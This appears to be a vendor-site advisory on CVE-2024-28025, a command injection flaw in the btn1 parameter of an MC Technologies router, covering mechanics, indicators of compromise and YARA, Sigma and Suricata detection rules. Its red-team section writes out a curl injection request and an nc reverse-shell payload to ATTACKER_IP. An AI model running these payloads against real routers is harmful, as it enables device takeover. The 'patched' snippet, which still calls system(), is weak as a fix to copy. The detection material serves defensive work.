CVE-2024-28025
Executive Summary
CVE-2024-28025 is a critical OS command injection vulnerability affecting the MC Technologies MC LR Router firmware version 2.10.5. The flaw resides in the web interface I/O configuration functionality, specifically within the btn1 parameter at memory offset 0x8eb0. An authenticated attacker can craft a malicious HTTP request to inject arbitrary operating system commands, leading to full device compromise. With a CVSS score of 7.2 (High), this vulnerability poses a significant risk to network infrastructure, enabling lateral movement, data exfiltration, or persistent backdoor installation. No public exploit code or patch is currently available, making detection and mitigation critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware on MC Technologies LR Router hardware.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): High (H) – Requires authenticated session.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – Affects only the vulnerable component.
- Confidentiality (C): High (H) – Full system read access.
- Integrity (I): High (H) – Full system write access.
- Availability (A): High (H) – Full system disruption possible.
Threat Level: High. Although authentication is required, default or weak credentials are common in embedded devices, lowering the barrier for attackers.
Deep Dive & Mechanics
The vulnerability is an authenticated OS command injection in the web interface's I/O configuration page. The btn1 parameter is passed unsanitized to a system-level function (likely system(), popen(), or exec()) at code offset 0x8eb0. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to execute arbitrary commands.
Root Cause: Lack of input validation and sanitization on the btn1 parameter before concatenation into a shell command string.
Attack Flow:
- Attacker authenticates to the web interface (e.g., using default credentials
admin:admin). - Sends a crafted POST request to the I/O configuration endpoint with a malicious
btn1value. - The injected command executes with the privileges of the web server (typically root on embedded Linux).
- Attacker gains full control of the router.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
void handle_io_config() {
char cmd[256];
char *btn1 = get_param("btn1");
snprintf(cmd, sizeof(cmd), "io_control %s", btn1);
system(cmd);
}
Patched Code (Conceptual):
void handle_io_config() {
char cmd[256];
char *btn1 = get_param("btn1");
// Validate input: only allow alphanumeric and specific safe characters
if (!is_valid_input(btn1)) {
log_error("Invalid btn1 parameter");
return;
}
snprintf(cmd, sizeof(cmd), "io_control %s", btn1);
system(cmd);
}
Key Difference: The patched version includes input validation to reject shell metacharacters.
Exploitation & Lab Setup
Red Team
Prerequisites:
- MC LR Router with firmware 2.10.5
- Valid credentials (e.g.,
admin:admin) - Network access to the web interface (typically port 80 or 443)
Exploitation Steps:
- Authenticate to the web interface and capture session cookie.
- Send a POST request to the I/O configuration endpoint with injected command.
Example Request (using curl):
curl -X POST http://192.168.1.1/io_config.cgi \
-H "Cookie: session=valid_session_cookie" \
-d "btn1=1;id&other_param=value"
Expected Output: The id command output will be reflected in the response or accessible via a reverse shell.
Reverse Shell Payload:
btn1=1;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
Blue Team
Detection:
- Monitor HTTP POST requests to
/io_config.cgicontaining shell metacharacters (;,|,&,`,$()). - Alert on unusual process execution from the web server (e.g.,
/bin/sh,/bin/bash,nc,mkfifo). - Check for outbound connections from the router to unknown IPs on high ports.
Honeypot Setup:
- Deploy a decoy MC LR Router with default credentials.
- Log all POST requests to
/io_config.cgiand analyze for injection patterns.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/io_config.cgiwithbtn1parameter containing shell metacharacters. - Outbound connections from the router to external IPs on ports 4444, 1337, or 31337.
- Unusual DNS queries from the router to known C2 domains.
Host IOCs:
- Unexpected processes:
/bin/sh,/bin/bash,nc,mkfifo,python,perl. - Modified system binaries or scripts in
/sbin/,/usr/sbin/. - New cron jobs or startup scripts in
/etc/init.d/or/etc/cron.d/. - Presence of files in
/tmp/with suspicious names (e.g.,/tmp/f).
Log IOCs:
- Web server logs showing
btn1parameter with shell metacharacters. - System logs showing execution of commands like
id,whoami,uname -a.
Detection Engineering
YARA Rule
rule CVE_2024_28025_btn1_injection {
meta:
description = "Detects HTTP requests exploiting CVE-2024-28025 via btn1 parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-28025"
strings:
$btn1 = "btn1=" nocase
$shell1 = ";" ascii wide
$shell2 = "|" ascii wide
$shell3 = "&" ascii wide
$shell4 = "`" ascii wide
$shell5 = "$(" ascii wide
condition:
$btn1 and any of ($shell*)
}
Sigma Rule
title: CVE-2024-28025 OS Command Injection via btn1 Parameter
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects HTTP POST requests to /io_config.cgi with shell metacharacters in btn1 parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/io_config.cgi'
cs-uri-query|contains: 'btn1='
keywords:
- ';'
- '|'
- '&'
- '`'
- '$('
condition: selection and keywords
falsepositives:
- Legitimate use of special characters in btn1 (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-28025 OS Command Injection via btn1 Parameter";
flow:to_server,established;
content:"POST"; http_method;
content:"/io_config.cgi"; http_uri;
content:"btn1="; http_client_body;
pcre:"/btn1=[^&]*(;|\||&|`|\$\(|\))/Pi";
sid:1000001;
rev:1;
reference:cve,2024-28025;
classtype:attempted-admin;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Place MC LR Routers on a separate VLAN with strict firewall rules.
- Change default credentials: Use strong, unique passwords for the web interface.
- Disable remote management: If not required, block external access to the web interface.
- Monitor logs: Implement the detection rules above to identify exploitation attempts.
Long-Term Fixes:
- Vendor patch: Await an official firmware update from MC Technologies. Contact vendor for ETA.
- Workaround: If source code is available, apply input validation on the
btn1parameter. - Replace device: Consider migrating to a supported router model with active security updates.
Compensating Controls:
- Deploy a Web Application Firewall (WAF) with rules to block shell metacharacters in POST parameters.
- Use network segmentation to limit lateral movement from compromised routers.
- Enable logging and alerting for all administrative actions on the device.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.